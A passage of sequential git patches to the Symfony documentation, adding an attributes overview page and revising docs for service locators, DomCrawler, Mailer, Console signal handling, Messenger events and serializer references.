+Symfony Attributes Overview
+===========================
+
+Attributes are the successor of annotation since PHP 8. Attributes are native
+to the language and Symfony takes full advantage of them across the framework
+ans its different components.
+
+Doctrine Bridge
+~~~~~~~~~~~~~~~
+
+* :doc:`UniqueEntity </reference/constraints/UniqueEntity>`
+
+Command
+~~~~~~~
+
+* :ref:`AsCommand <console_registering-the-command>`
+
+Contracts
+~~~~~~~~~
+
+* :ref:`Required <autowiring-calls>`
+* :ref:`SubscribedService <service-subscribers-service-subscriber-trait>`
+
+Dependency Injection
+~~~~~~~~~~~~~~~~~~~~
+
+* :ref:`AsTaggedItem <tags_as-tagged-item>`
+* :ref:`Autoconfigure <lazy-services_configuration>`
+* :ref:`AutoconfigureTag <di-instanceof>`
+* :ref:`TaggedIterator <tags_reference-tagged-services>`
+* :ref:`TaggedLocator <service-subscribers-locators_defining-service-locator>`
+* :ref:`Target <autowiring-multiple-implementations-same-type>`
+* :ref:`When <service-container_limiting-to-env>`
+
+EventDispatcher
+~~~~~~~~~~~~~~~
+
+* :ref:`AsEventListener <event-dispatcher_event-listener-attributes>`
+
+HttpKernel
+~~~~~~~~~~
+
+* :doc:`AsController </controller/service>`
+
+Messenger
+~~~~~~~~~
+
+* :ref:`AsMessageHandler <messenger-handler>`
+
+Routing
+~~~~~~~
+
+* :doc:`Route </routing>`
+
+Security
+~~~~~~~~
+
+* :ref:`CurrentUser <security-json-login>`
+
+Serializer
+~~~~~~~~~~
+
+* :ref:`Context <serializer_serializer-context>`
+* :ref:`DiscriminatorMap <serializer_interfaces-and-abstract-classes>`
+* :ref:`Groups <component-serializer-attributes-groups-annotations>`
+* :ref:`Ignore <serializer_ignoring-attributes>`
+* :ref:`MaxDepth <serializer_handling-serialization-depth>`
+* :ref:`SerializedName <serializer_name-conversion>`
+
+Validator
+~~~~~~~~~
+
+Each validation constraint comes with a PHP attribute. See
+:doc:`/reference/constraints` for a full list of validation constraints.
diff --git a/reference/map.rst.inc b/reference/map.rst.inc
index 2be47a8a0b0..0943b43dda9 100644
--- a/reference/map.rst.inc
+++ b/reference/map.rst.inc
@@ -36,4 +36,5 @@ Others
 * :doc:`Configuring the Kernel </reference/configuration/kernel>`
 * :doc:`Twig Extensions (forms, filters, tags, etc) Reference </reference/twig_reference>`
 * :doc:`/reference/dic_tags`
+* :doc:`Symfony Attributes Overview </reference/attributes>`
 * :doc:`/reference/events`
diff --git a/serializer.rst b/serializer.rst
index 0a1409de2b5..d02dc302e56 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -99,6 +99,8 @@ possible to set the priority of the tag in order to decide the matching order.
     ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
     usage and exposing internal details.
 
+.. _serializer_serializer-context:
+
 Serializer Context
 ------------------
 
diff --git a/service_container.rst b/service_container.rst
index c9628c19628..5b2321bfbaa 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -242,6 +242,8 @@ each time you ask for it.
     If you'd prefer to manually wire your service, that's totally possible: see
     :ref:`services-explicitly-configure-wire-services`.
 
+.. _service-container_limiting-to-env:
+
 Limiting Services to a specific Symfony Environment
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/service_container/autowiring.rst b/service_container/autowiring.rst
index 86010b94bc9..0d0a3d27398 100644
--- a/service_container/autowiring.rst
+++ b/service_container/autowiring.rst
@@ -398,6 +398,8 @@ dealing with the ``TransformerInterface``.
 
     The support of union and intersection types was introduced in Symfony 5.4.
 
+.. _autowiring-multiple-implementations-same-type:
+
 Dealing with Multiple Implementations of the Same Type
 ------------------------------------------------------
 
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index e60cb8686b0..d7d59984032 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -243,6 +243,8 @@ service type to a service.
     The ``key`` attribute can be omitted if the service name internally is the
     same as in the service container.
 
+.. _service-subscribers-locators_defining-service-locator:
+
 Defining a Service Locator
 --------------------------
 
@@ -695,6 +697,8 @@ attribute to the locator service defining the name of this custom method:
     going to be used, a configuration key (``key`` in the example above) must
     be set so the custom method may be called as a fallback.
 
+.. _service-subscribers-service-subscriber-trait:
+
 Service Subscriber Trait
 ------------------------
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index d948dde300b..7c8947c2e6b 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -571,6 +571,8 @@ than one tag. You tag a service twice or more with the ``app.mail_transport``
 tag. The second ``foreach`` loop iterates over the ``app.mail_transport``
 tags set for the current service and gives you the attributes.
 
+.. _tags_reference-tagged-services:
+
 Reference Tagged Services
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -1013,6 +1015,8 @@ array element. For example, to retrieve the ``handler_two`` handler::
                 ;
             };
 
+.. _tags_as-tagged-item:
+
 The ``#[AsTaggedItem]`` attribute
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 

From a2c8fa0d39ff27b33d9b95952971807c66e6b2dd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Mon, 6 Mar 2023 13:49:15 +0100
Subject: [PATCH 3011/5766] [DomCrawler] Give choice of used parser

---
 components/dom_crawler.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index 9bdeed9c8ae..b7f68f1a89f 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -651,8 +651,28 @@ another given base URI::
     UriResolver::resolve('?a=b', 'http://localhost/bar#foo'); // http://localhost/bar?a=b
     UriResolver::resolve('../../', 'http://localhost/'); // http://localhost/
 
+Using a HTML5 Parser
+~~~~~~~~~~~~~~~~~~~~
+
+You can specify to the :class:`Symfony\\Component\\DomCrawler\\Crawler` to use
+an HTML5 parser when instantiating it by setting the ``useHtml5Parser`` constructor
+argument to ``true``::
+
+    use Symfony\Component\DomCrawler\Crawler;
+
+    $crawler = new Crawler(null, $uri, useHtml5Parser: true);
+
+By doing do, the crawler will use the parser from the `masterminds/html5`_ library internally to parse
+documents.
+
+.. versionadded:: 6.3
+
+    The ``useHtml5Parser`` argument was introduced in Symfony 6.3.
+
 Learn more
 ----------
 
 * :doc:`/testing`
 * :doc:`/components/css_selector`
+
+.. _`masterminds/html5`: https://packagist.org/packages/masterminds/html5

From 419b0247f70b048f735f53afadfbc61b3ae89705 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 6 Mar 2023 15:31:59 +0100
Subject: [PATCH 3012/5766] Minor tweak

---
 components/dom_crawler.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/components/dom_crawler.rst b/components/dom_crawler.rst
index b7f68f1a89f..40a032fdfa6 100644
--- a/components/dom_crawler.rst
+++ b/components/dom_crawler.rst
@@ -654,16 +654,15 @@ another given base URI::
 Using a HTML5 Parser
 ~~~~~~~~~~~~~~~~~~~~
 
-You can specify to the :class:`Symfony\\Component\\DomCrawler\\Crawler` to use
-an HTML5 parser when instantiating it by setting the ``useHtml5Parser`` constructor
-argument to ``true``::
+If you need the :class:`Symfony\\Component\\DomCrawler\\Crawler` to use an HTML5
+parser, set its ``useHtml5Parser`` constructor argument to ``true``::
 
     use Symfony\Component\DomCrawler\Crawler;
 
     $crawler = new Crawler(null, $uri, useHtml5Parser: true);
 
-By doing do, the crawler will use the parser from the `masterminds/html5`_ library internally to parse
-documents.
+By doing do, the crawler will use the HTML5 parser provided by the `masterminds/html5`_
+library to parse the documents.
 
 .. versionadded:: 6.3
 

From 9a6f38fb1c9f18c1f36fee060f21d9b5e2d85c20 Mon Sep 17 00:00:00 2001
From: Nicolas Grekas <nicolas.grekas@gmail.com>
Date: Mon, 6 Mar 2023 16:00:31 +0100
Subject: [PATCH 3013/5766] Improve description of ad hoc containers

---
 .../service_subscribers_locators.rst          | 98 +++++++++----------
 1 file changed, 45 insertions(+), 53 deletions(-)

diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index cc5d5482d63..c301e172e55 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -25,24 +25,22 @@ to handle their respective command when it is asked for::
     class CommandBus
     {
         /**
-         * @var CommandHandler[]
+         * @param CommandHandler[] $handlerMap
          */
-        private $handlerMap;
-
-        public function __construct(array $handlerMap)
-        {
-            $this->handlerMap = $handlerMap;
+        public function __construct(
+            private array $handlerMap,
+        ) {
         }
 
         public function handle(Command $command)
         {
             $commandClass = get_class($command);
 
-            if (!isset($this->handlerMap[$commandClass])) {
+            if (!$handler = $this->handlerMap[$commandClass] ?? null) {
                 return;
             }
 
-            return $this->handlerMap[$commandClass]->handle($command);
+            return $handler->handle($command);
         }
     }
 
@@ -67,8 +65,7 @@ Defining a Service Subscriber
 
 First, turn ``CommandBus`` into an implementation of :class:`Symfony\\Contracts\\Service\\ServiceSubscriberInterface`.
 Use its ``getSubscribedServices()`` method to include as many services as needed
-in the service subscriber and change the type hint of the container to
-a PSR-11 ``ContainerInterface``::
+in the service subscriber::
 
     // src/CommandBus.php
     namespace App;
@@ -80,11 +77,9 @@ a PSR-11 ``ContainerInterface``::
 
     class CommandBus implements ServiceSubscriberInterface
     {
-        private $locator;
-
-        public function __construct(ContainerInterface $locator)
-        {
-            $this->locator = $locator;
+        public function __construct(
+            private ContainerInterface $locator,
+        ) {
         }
 
         public static function getSubscribedServices(): array
@@ -114,8 +109,12 @@ a PSR-11 ``ContainerInterface``::
     can also manually add the ``container.service_subscriber`` tag.
 
 The injected service is an instance of :class:`Symfony\\Component\\DependencyInjection\\ServiceLocator`
-which implements the PSR-11 ``ContainerInterface``, but it is also a callable::
+which implements both the PSR-11 ``ContainerInterface`` and :class:`Symfony\\Contracts\\Service\\ServiceProviderInterface`.
+It is also a callable and a countable::
 
+    // ...
+    $numberOfHandlers = count($this->locator);
+    $nameOfHandlers = array_keys($this->locator->getProvidedServices());
     // ...
     $handler = ($this->locator)($commandClass);
 
@@ -305,15 +304,16 @@ argument of type ``service_locator``.
 Consider the following ``CommandBus`` class where you want to inject
 some services into it via a service locator::
 
-    // src/HandlerCollection.php
+    // src/CommandBus.php
     namespace App;
 
-    use Symfony\Component\DependencyInjection\ServiceLocator;
+    use Psr\Container\ContainerInterface;
 
     class CommandBus
     {
-        public function __construct(ServiceLocator $locator)
-        {
+        public function __construct(
+            private ContainerInterface $locator,
+        ) {
         }
     }
 
@@ -327,14 +327,15 @@ or directly via PHP attributes:
         // src/CommandBus.php
         namespace App;
 
+        use Psr\Container\ContainerInterface;
         use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
-        use Symfony\Component\DependencyInjection\ServiceLocator;
 
         class CommandBus
         {
             public function __construct(
                 // creates a service locator with all the services tagged with 'app.handler'
-                #[TaggedLocator('app.handler')] ServiceLocator $locator
+                #[TaggedLocator('app.handler')]
+                private ContainerInterface $locator,
             ) {
             }
         }
@@ -564,14 +565,14 @@ of the ``key`` tag attribute (as defined in the ``index_by`` locator option):
         // src/CommandBus.php
         namespace App;
 
+        use Psr\Container\ContainerInterface;
         use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
-        use Symfony\Component\DependencyInjection\ServiceLocator;
 
         class CommandBus
         {
             public function __construct(
                 #[TaggedLocator('app.handler', indexAttribute: 'key')]
-                ServiceLocator $locator
+                private ContainerInterface $locator,
             ) {
             }
         }
@@ -645,13 +646,13 @@ Inside this locator you can retrieve services by index using the value of the
     // src/Handler/HandlerCollection.php
     namespace App\Handler;
 
-    use Symfony\Component\DependencyInjection\ServiceLocator;
+    use Psr\Container\ContainerInterface;
 
     class HandlerCollection
     {
-        public function __construct(ServiceLocator $locator)
+        public function getHandlerTwo(ContainerInterface $locator)
         {
-            $handlerTwo = $locator->get('handler_two');
+            return $locator->get('handler_two');
         }
 
         // ...
@@ -684,14 +685,14 @@ attribute to the locator service defining the name of this custom method:
         // src/CommandBus.php
         namespace App;
 
+        use Psr\Container\ContainerInterface;
         use Symfony\Component\DependencyInjection\Attribute\TaggedLocator;
-        use Symfony\Component\DependencyInjection\ServiceLocator;
 
         class CommandBus
         {
             public function __construct(
                 #[TaggedLocator('app.handler', 'key', defaultIndexMethod: 'myOwnMethodName')]
-                ServiceLocator $locator
+                private ContainerInterface $locator,
             ) {
             }
         }
@@ -749,7 +750,7 @@ The :class:`Symfony\\Contracts\\Service\\ServiceSubscriberTrait` provides an
 implementation for :class:`Symfony\\Contracts\\Service\\ServiceSubscriberInterface`
 that looks through all methods in your class that are marked with the
 :class:`Symfony\\Contracts\\Service\\Attribute\\SubscribedService` attribute. It
-provides a ``ServiceLocator`` for the services of each method's return type.
+describes the services needed by the class based on each method's return type.
 The service id is ``__METHOD__``. This allows you to add dependencies to your
 services based on type-hinted helper methods::
 
@@ -907,34 +908,25 @@ Here's an example::
 Testing a Service Subscriber
 ----------------------------
 
-To unit test a service subscriber, you can create a fake ``ServiceLocator``::
+To unit test a service subscriber, you can create a fake container::
 
-    use Symfony\Component\DependencyInjection\ServiceLocator;
+    use Symfony\Contracts\Service\ServiceLocatorTrait;
+    use Symfony\Contracts\Service\ServiceProviderInterface;
 
-    $container = new class() extends ServiceLocator {
-        private $services = [];
+    // Create the fake services
+    $foo = new stdClass();
+    $bar = new stdClass();
+    $bar->foo = $foo;
 
-        public function __construct()
-        {
-            parent::__construct([
-                'foo' => function () {
-                    return $this->services['foo'] = $this->services['foo'] ?? new stdClass();
-                },
-                'bar' => function () {
-                    return $this->services['bar'] = $this->services['bar'] ?? $this->createBar();
-                },
-            ]);
-        }
-
-        private function createBar()
-        {
-            $bar = new stdClass();
-            $bar->foo = $this->get('foo');
-
-            return $bar;
-        }
+    // Create the fake container
+    $container = new class([
+        'foo' => fn () => $foo,
+        'bar' => fn () => $bar,
+    ]) implements ServiceProviderInterface {
+        use ServiceLocatorTrait;
     };
 
+    // Create the service subscriber
     $serviceSubscriber = new MyService($container);
     // ...
 

From f5cb7e064a932621f62b5e4e37d31ee20479c9a6 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Mon, 6 Mar 2023 22:40:13 +0100
Subject: [PATCH 3014/5766] [Validator] remove mention require php 8.1

---
 reference/constraints/All.rst          | 1 -
 reference/constraints/AtLeastOneOf.rst | 1 -
 reference/constraints/Collection.rst   | 1 -
 reference/constraints/Sequentially.rst | 1 -
 4 files changed, 4 deletions(-)

diff --git a/reference/constraints/All.rst b/reference/constraints/All.rst
index 30d71bbebfc..7fb1428bab7 100644
--- a/reference/constraints/All.rst
+++ b/reference/constraints/All.rst
@@ -25,7 +25,6 @@ entry in that array:
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        // IMPORTANT: nested attributes require PHP 8.1 or higher
         class User
         {
             #[Assert\All([
diff --git a/reference/constraints/AtLeastOneOf.rst b/reference/constraints/AtLeastOneOf.rst
index 8b400c66dd1..e3402c23b02 100644
--- a/reference/constraints/AtLeastOneOf.rst
+++ b/reference/constraints/AtLeastOneOf.rst
@@ -29,7 +29,6 @@ The following constraints ensure that:
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        // IMPORTANT: nested attributes requires PHP 8.1 or higher
         class Student
         {
             #[Assert\AtLeastOneOf([
diff --git a/reference/constraints/Collection.rst b/reference/constraints/Collection.rst
index 7ad50771226..97211354616 100644
--- a/reference/constraints/Collection.rst
+++ b/reference/constraints/Collection.rst
@@ -58,7 +58,6 @@ following:
 
         use Symfony\Component\Validator\Constraints as Assert;
 
-        // IMPORTANT: nested attributes requires PHP 8.1 or higher
         class Author
         {
             #[Assert\Collection(
diff --git a/reference/constraints/Sequentially.rst b/reference/constraints/Sequentially.rst
index 09fed581d25..950b5e81426 100644
--- a/reference/constraints/Sequentially.rst
+++ b/reference/constraints/Sequentially.rst
@@ -44,7 +44,6 @@ You can validate each of these constraints sequentially to solve these issues:
         use App\Validator\Constraints as AcmeAssert;
         use Symfony\Component\Validator\Constraints as Assert;
 
-        // IMPORTANT: nested attributes requires PHP 8.1 or higher
         class Place
         {
             #[Assert\Sequentially([

From 731684ae5ec5e57fb942a90d7860e3bfad5d1805 Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Mon, 6 Mar 2023 22:54:29 +0100
Subject: [PATCH 3015/5766] minor fix ci

---
 doctrine/events.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/events.rst b/doctrine/events.rst
index 8769c44211d..65f48d46047 100644
--- a/doctrine/events.rst
+++ b/doctrine/events.rst
@@ -164,7 +164,7 @@ listener in the Symfony application by creating a new service for it and
 
 .. configuration-block::
 
-    .. code-block:: attribute
+    .. code-block:: php-attributes
 
         // src/App/EventListener/SearchIndexer.php
         namespace App\EventListener;

From faf1e52ac92fdcf2758a8f3eb21b62aa14d9651f Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Mon, 6 Mar 2023 23:35:34 +0100
Subject: [PATCH 3016/5766] [Mailer] remove bcc for signed messages

---
 mailer.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index be0414c3f56..013aca95878 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1043,6 +1043,12 @@ using for example OpenSSL or obtained at an official Certificate Authority (CA).
 The email recipient must have the CA certificate in the list of trusted issuers
 in order to verify the signature.
 
+.. caution::
+
+    If you use message signature, sending to ``Bcc`` will be removed from the
+    message. If you need to send a message to multiple recipients, you need 
+    to compute a new signature for each recipient.
+
 S/MIME Signer
 .............
 

From 2696122a4ff49bbbb7b5192cf45c6ed7ae3acf19 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Tue, 7 Mar 2023 06:26:09 +0100
Subject: [PATCH 3017/5766] minor

---
 mailer.rst | 10 ++++------
 1 file changed, 4 insertions(+), 6 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index a8873f1127a..4ad55b72f85 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -222,7 +222,7 @@ OhMySMTP             ohmysmtp+smtp://API_TOKEN@default                    n/a
     revokes your App Passwords when you change your Google Account password and then
     you need to generate a new one.
     Using other methods (like ``XOAUTH2`` or the ``Gmail API``) are not supported currently.
-    You should use Gmail for testing purposes only and use a real provider in production. 
+    You should use Gmail for testing purposes only and use a real provider in production.
 
 .. tip::
 
@@ -1046,7 +1046,7 @@ in order to verify the signature.
 .. caution::
 
     If you use message signature, sending to ``Bcc`` will be removed from the
-    message. If you need to send a message to multiple recipients, you need 
+    message. If you need to send a message to multiple recipients, you need
     to compute a new signature for each recipient.
 
 S/MIME Signer
@@ -1560,7 +1560,7 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
             $client->request('GET', '/mail/send');
             $this->assertResponseIsSuccessful();
 
-            $this->assertEmailCount(1);
+            $this->assertEmailCount(1); // use assertQueuedEmailCount() when using Messenger
 
             $email = $this->getMailerMessage();
 
@@ -1583,7 +1583,5 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
 .. _`App Password`: https://support.google.com/accounts/answer/185833
 
-.. tip::
 
-    If you're using Messenger you should use ``$this->assertQueuedEmailCount(1);`` instead.
-    
+

From c2b56fe6194eae5fbefd6a678fb4e7d8eca2f65a Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Sat, 4 Mar 2023 08:09:56 +0100
Subject: [PATCH 3018/5766] [Console] Add support for managing exit code while
 handling signals

---
 components/console/events.rst | 30 +++++++++++++++++++++++++++++-
 1 file changed, 29 insertions(+), 1 deletion(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 87b44f56407..d08374d90f2 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -178,11 +178,31 @@ Listeners receive a
         // gets the signal number
         $signal = $event->getHandlingSignal();
 
+        // sets the exit code
+        $event->setExitCode(0);
+
         if (\SIGINT === $signal) {
             echo "bye bye!";
         }
     });
 
+It is also possible to abort the exit if you want the command to continue its
+execution even after the event has been dispatched, thanks to the
+:method:`Symfony\\Component\\Console\\Event\\ConsoleSignalEvent::abortExit`
+method::
+
+    use Symfony\Component\Console\ConsoleEvents;
+    use Symfony\Component\Console\Event\ConsoleSignalEvent;
+
+    $dispatcher->addListener(ConsoleEvents::SIGNAL, function (ConsoleSignalEvent $event) {
+        $event->abortExit();
+    });
+
+.. versionadded:: 6.3
+
+    The ``setExitCode()``, ``getExitCode()`` and ``abortExit()`` methods were introduced
+    in Symfony 6.3.
+
 .. tip::
 
     All the available signals (``SIGINT``, ``SIGQUIT``, etc.) are defined as
@@ -208,13 +228,17 @@ handle signals themselves. To do so, implement the
             return [\SIGINT, \SIGTERM];
         }
 
-        public function handleSignal(int $signal): void
+        public function handleSignal(int $signal): int|false
         {
             if (\SIGINT === $signal) {
                 // ...
             }
 
             // ...
+
+            // return an integer to set the exit code, or
+            // false to continue normal execution
+            return 0;
         }
     }
 
@@ -228,6 +252,10 @@ handle all signals e.g. to do some tasks before terminating the command.
     ``SIGUSR2``) would terminate the script by calling ``exit(0)``. Starting
     from Symfony 6.3, no more signal is automatically calling ``exit(0)``.
 
+.. deprecated:: 6.3
+
+    Not returning a value in ``handleSignal()`` is deprecated since Symfony 6.3.
+
 .. _`reserved exit codes`: https://www.tldp.org/LDP/abs/html/exitcodes.html
 .. _`Signals`: https://en.wikipedia.org/wiki/Signal_(IPC)
 .. _`constants of the PCNTL PHP extension`: https://www.php.net/manual/en/pcntl.constants.php

From a8a792e3aee8b40d26c026a3f6681cb1de6a2702 Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Tue, 7 Mar 2023 14:22:44 +0100
Subject: [PATCH 3019/5766] [Messenger] add `WorkerMessageRetriedEvent`

---
 messenger.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 8769d28e579..90292aa6574 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2563,12 +2563,13 @@ In addition to middleware, Messenger also dispatches several events. You can
 :doc:`create an event listener </event_dispatcher>` to hook into various parts
 of the process. For each, the event class is the event name:
 
-* :class:`Symfony\\Component\\Messenger\\Event\\WorkerStartedEvent`
-* :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageReceivedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\SendMessageToTransportsEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageFailedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageHandledEvent`
+* :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageReceivedEvent`
+* :class:`Symfony\\Component\\Messenger\\Event\\WorkerMessageRetriedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerRunningEvent`
+* :class:`Symfony\\Component\\Messenger\\Event\\WorkerStartedEvent`
 * :class:`Symfony\\Component\\Messenger\\Event\\WorkerStoppedEvent`
 
 Multiple Buses, Command & Event Buses

From e9e57d268a345a6aafff3b2947444ee97f130cea Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Tue, 7 Mar 2023 19:41:06 +0100
Subject: [PATCH 3020/5766] [Routing] Fix broken link

---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 6a5fb801c34..e5069980974 100644
--- a/routing.rst
+++ b/routing.rst
@@ -984,7 +984,7 @@ this case), the "param converter" makes a database request to find the object
 using the request parameters (``slug`` in this case). If no object is found,
 Symfony generates a 404 response automatically.
 
-Check out the `Doctrine param conversion documentation <doctrine-entity-value-resolver>`_
+Check out the :ref:`Doctrine param conversion documentation <doctrine-entity-value-resolver>`
 to learn about the ``#[MapEntity]`` attribute that can be used to customize the
 database queries used to fetch the object from the route parameter.
 

From fb406777a754a541874fdff6fe8664754a0e027c Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 8 Mar 2023 11:01:34 +0100
Subject: [PATCH 3021/5766] Rename context

---
 components/serializer.rst              | 6 +++---
 serializer.rst                         | 2 +-
 serializer/custom_context_builders.rst | 2 +-
 3 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index 8a8449330e1..50e327554ee 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -232,7 +232,7 @@ data.
 Context
 -------
 
-Many Serializer features can be configured :doc:`using a context </serializer#serializer-context>`.
+Many Serializer features can be configured :doc:`using a context </serializer#serializer_serializer-context>`.
 
 .. _component-serializer-attributes-groups:
 
@@ -1093,7 +1093,7 @@ always as a collection.
     changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES``
     key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or
     directly to the ``$context`` argument of the ``encode()`` method::
-    
+
         $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
 
 The ``XmlEncoder`` Context Options
@@ -1192,7 +1192,7 @@ Option          Description                                               Defaul
 Context Builders
 ----------------
 
-Instead of passing plain PHP arrays to the :ref:`serialization context <serializer-context>`,
+Instead of passing plain PHP arrays to the :ref:`serialization context <serializer_serializer-context>`,
 you can use "context builders" to define the context using a fluent interface::
 
     use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
diff --git a/serializer.rst b/serializer.rst
index 7c04923b4a2..4fc0490722f 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -90,7 +90,7 @@ possible to set the priority of the tag in order to decide the matching order.
     ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
     usage and exposing internal details.
 
-.. _serializer-context:
+.. _serializer_serializer-context:
 
 Serializer Context
 ------------------
diff --git a/serializer/custom_context_builders.rst b/serializer/custom_context_builders.rst
index 6c083078301..720e319916e 100644
--- a/serializer/custom_context_builders.rst
+++ b/serializer/custom_context_builders.rst
@@ -11,7 +11,7 @@ How to Create your Custom Context Builder
 The :doc:`Serializer Component </components/serializer>` uses Normalizers
 and Encoders to transform any data to any data-structure (e.g. JSON).
 That serialization process can be configured thanks to a
-:ref:`serialization context <serializer-context>`, which can be built thanks to
+:ref:`serialization context <serializer_serializer-context>`, which can be built thanks to
 :ref:`context builders <component-serializer-context-builders>`.
 
 Each built-in normalizer/encoder has its related context builder. However, you

From 900909283a7c66de15aa656a2a86909a1778671f Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Thu, 2 Mar 2023 09:13:51 +0100
Subject: [PATCH 3022/5766] [Bundles] new directory structure for doctrine
 resources

---
 bundles/best_practices.rst | 9 ++++++++-
 1 file changed, 8 insertions(+), 1 deletion(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index f1c8e4ad555..eecd1da7e44 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -167,10 +167,16 @@ Doctrine Entities/Documents
 
 If the bundle includes Doctrine ORM entities and/or ODM documents, it's
 recommended to define their mapping using XML files stored in
-``Resources/config/doctrine/``. This allows to override that mapping using the
+``config/doctrine/``. This allows to override that mapping using the
 :doc:`standard Symfony mechanism to override bundle parts </bundles/override>`.
 This is not possible when using annotations/attributes to define the mapping.
 
+.. caution::
+
+    The recommended bundle structure was changed in Symfony 5, read the
+    `Symfony 4.4 bundle documentation`_ for information about the old
+    structure.
+
 Tests
 -----
 
@@ -560,3 +566,4 @@ Learn more
 .. _`valid license identifier`: https://spdx.org/licenses/
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
 .. _`Travis CI`: https://docs.travis-ci.com/
+.. _`Symfony 4.4 bundle documentation`: https://symfony.com/doc/4.4/bundles.html#bundle-directory-structure

From 70777c04a522491d18b674952f7f8e6f7e4e6e3d Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 8 Mar 2023 11:36:11 +0100
Subject: [PATCH 3023/5766] Remove obsolete caution block

---
 bundles/best_practices.rst | 6 ------
 1 file changed, 6 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index eecd1da7e44..16ce373c51a 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -171,12 +171,6 @@ recommended to define their mapping using XML files stored in
 :doc:`standard Symfony mechanism to override bundle parts </bundles/override>`.
 This is not possible when using annotations/attributes to define the mapping.
 
-.. caution::
-
-    The recommended bundle structure was changed in Symfony 5, read the
-    `Symfony 4.4 bundle documentation`_ for information about the old
-    structure.
-
 Tests
 -----
 

From cc0d134b8b57aea5b6e201e22c14abae794f6480 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Wed, 8 Mar 2023 11:37:09 +0100
Subject: [PATCH 3024/5766] Remove blank lines

---
 mailer.rst | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 4ad55b72f85..cd1eb8e0e68 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1582,6 +1582,3 @@ the :class:`Symfony\\Bundle\\FrameworkBundle\\Test\\MailerAssertionsTrait`::
 .. _`default_socket_timeout`: https://www.php.net/manual/en/filesystem.configuration.php#ini.default-socket-timeout
